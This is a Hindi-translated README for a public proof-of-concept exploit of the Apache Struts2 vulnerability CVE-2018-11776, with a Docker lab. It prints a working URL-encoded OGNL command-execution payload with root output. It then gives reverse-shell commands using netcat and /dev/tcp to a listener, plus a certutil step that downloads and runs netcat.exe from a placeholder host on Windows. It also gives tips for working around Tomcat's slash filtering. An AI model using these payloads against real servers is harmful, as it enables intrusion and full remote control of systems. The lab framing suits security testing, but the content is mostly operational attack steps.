
CVE-2018-11776 के लिए कार्यशील Python टेस्ट और PoC, जिसमें Docker लैब शामिल है
hook-s3c (github.com/hook-s3c), ट्विटर पर @hook_s3c
CVE-2018-11776 के लिए कार्यशील Python परीक्षण और PoC, मूल रूप से इस पर उपलब्ध; https://github.com/hook-s3c/CVE-2018-11776-Python-PoC
Semmle के Man Yue Mo ने एक Struts2 RCE भेद्यता का खुलासा किया है, जो किसी अनुरोध के URL पथ में एन्कोडेड पेलोड के रूप में वितरित की जाती है।
प्रभावित संस्करण 2.3 से 2.3.34 और 2.5 से 2.5.16 हैं।
डिफ़ॉल्ट कॉन्फ़िगरेशन असुरक्षित नहीं है, लेकिन यदि गलत कॉन्फ़िगर किया गया... F।
exploit cve-2017-5638 के लिए बने docker कंटेनर के साथ ठीक काम करेगा (struts2-showcase-2.3.12)
$ docker pull piesecurity/apache-struts2-cve-2017-5638
$ docker run -d --name struts2 -p 32771:8080 piesecurity/apache-struts2-cve-2017-5638
$ apt-get install vim
$ vim /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml
नीचे दिया गया कॉन्फ़िगरेशन जोड़ें;
<action name="help">
<result type="redirectAction">
<param name="actionName">date.action</param>
</result>
</action>
और यह भी;
<struts>
<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />
अपने tomcat और/या कंटेनर को पुनरारंभ करें
$ /usr/local/tomcat/bin/shutdown.sh
रीडायरेक्ट और मूल्यांकन होता है या नहीं यह देखने के लिए url का परीक्षण करें;
परीक्षण स्क्रिप्ट के साथ;
$ ./exploitS2-057-test.py http://0.0.0.0:32771/showcase.action
testing the url for exploit; http://0.0.0.0:32771/${12612+24867}/help.action
URL http://0.0.0.0:32771/showcase.action s2-057 CVE-2018-11776 is vulnerable!
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'id'
[Execute]: https://raw.githubusercontent.com/hook-s3c/cve-2018-11776-python-poc/master/id
[Url]: http://0.0.0.0:32771/$%7B(%23_memberAccess%5B%27allowStaticMethodAccess%27%5D=true).(%23cmd=%27id%27).(%23iswin=(@java.lang.System@getProperty(%27os.name%27).toLowerCase().contains(%27win%27))).(%23cmds=(%23iswin%3F%7B%27cmd.exe%27,%27c%27,%23cmd%7D:%7B%27bash%27,%27-c%27,%23cmd%7D)).(%23p=new%20java.lang.ProcessBuilder(%23cmds)).(%23p.redirectErrorStream(true)).(%23process=%23p.start()).(%23ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(%23process.getInputStream(),%23ros)).(%23ros.flush())%7D/help.action
uid=0(root) gid=0(root) groups=0(root)
रिवर्स शेल स्वीकार करने के लिए अपना बॉक्स तैयार करें;
$ netcat -lvp 31337
स्क्रिप्ट चलाएँ;
# you'll want to install netcat
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'apt-get install netcat -y'
# now pop that shell
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'netcat -e "$SHELL" 172.17.0.1 31337'
32771 को अपने एक्सपोज़्ड कंटेनर पोर्ट से बदलें
$ netcat -lvp 31337
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 "/bin/bash -i >& /dev/tcp/172.17.0.1/31337 0>&1"
# grab netcat binary
# https://stackoverflow.com/questions/28143160/how-can-i-download-a-file-with-batch-file-without-using-any-external-tools
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'certutil.exe -urlcache -split -f "https://yourhostingservice.1337/files/netcat.exe" nc.exe'
# execute
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'nc.exe 172.17.0.1 31337 –e cmd.exe'
फॉरवर्ड-स्लैश (/) वाले सभी अनुरोध विफल होंगे क्योंकि Tomcat इन्हें सक्रिय रूप से ब्लॉक करता है, आपको इसके आसपास काम करने की आवश्यकता हो सकती है, उदाहरण के लिए ऊपर दिए गए उदाहरण में /bin/bash के लिए पर्यावरण चर के रूप में $SHELL का उपयोग करना।
इसे ध्यान में रखते हुए, windows /c फ़्लैग उम्मीद के अनुसार काम नहीं करेगा। मैंने इसका परीक्षण केवल docker कंटेनर पर किया है।
@Menin_TheMiddle को धन्यवाद कि उन्होंने दिखाया कि फॉरवर्ड-स्लैश समस्या हल की जा सकती है, कोड अब फॉरवर्ड-स्लैश का समर्थन करता है और इसलिए bash के माध्यम से netcat के बिना रिवर्स शेल भी अब संभव है, साथ ही अब Windows इंस्टेंस का भी समर्थन करता है (अपरीक्षित)।
अपने Struts को पैच करें, या बस इसका उपयोग न करें।
मुझे लगता है कि आप हमेशा पहचान धोखाधड़ी उत्पाद बेच सकते हैं यदि आपके पास उल्लंघन हो और आपके सभी ग्राहक विवरण लीक हो जाएँ! (आप जानते हैं कि आप कौन हैं, बिल्कुल नीच)
धन्यवाद;
vap0rsquad को शाउट आउट!!! sH3llG0d - Willow - D@3M0¢π1 - n4t4s - 23pieces